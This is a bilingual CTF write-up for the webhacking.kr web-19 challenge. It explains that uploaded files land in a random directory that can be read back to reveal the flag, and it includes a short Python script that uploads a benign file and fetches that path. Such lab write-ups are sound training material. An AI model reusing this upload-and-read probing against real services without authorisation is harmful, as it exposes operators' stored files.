Challenge
Use the upload path and filename behavior to read the flag.
利用上传路径和文件名处理读取 flag。
https://webhacking.kr/challenge/web-19/Analysis
题目接受 multipart 文件上传,并把上传文件放入返回的随机目录。普通文件名 123 也会被保存,随后可以直接按返回目录访问该文件。文件内容并不是关键,关键是上传后的路径可读,题目在该读取响应中直接给出 flag。
Solution
下面是最小可运行 Python 请求脚本;它上传一个临时普通文件并读取题目返回的路径:
from __future__ import annotations
import argparseimport refrom urllib.parse import urljoin
import requests
def upload(session: requests.Session, challenge_url: str, filename: str) -> str: data = b"webhacking-old-41\n" files = {"file": (filename, data, "application/octet-stream")} response = session.post(challenge_url, files=files, timeout=20) response.raise_for_status()
# The challenge returns a path containing the upload directory. Keep the # extraction conservative and fail instead of guessing a path. match = re.search(r"(?:/challenge/web-19/)?([0-9a-f]{40})/" + re.escape(filename), response.text) if not match: raise RuntimeError("upload directory was not found in the response") return urljoin(challenge_url, match.group(0))
def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--url", default="https://webhacking.kr/challenge/web-19/") parser.add_argument("--filename", default="123") parser.add_argument("--cookie", help="optional session cookie; do not put it in the article") args = parser.parse_args()
session = requests.Session() if args.cookie: session.cookies.set("session-cookie", args.cookie, domain="webhacking.kr", path="/")
uploaded_url = upload(session, args.url, args.filename) response = session.get(uploaded_url, timeout=20) response.raise_for_status() print(response.text)
if __name__ == "__main__": main()脚本通过 multipart/form-data 上传字段 file,从响应中提取 40 位十六进制随机目录,再 GET 该目录下的 123。
脚本依赖题目响应仍以 40 位十六进制目录返回路径;读取响应中的 flag 即可得到题目答案。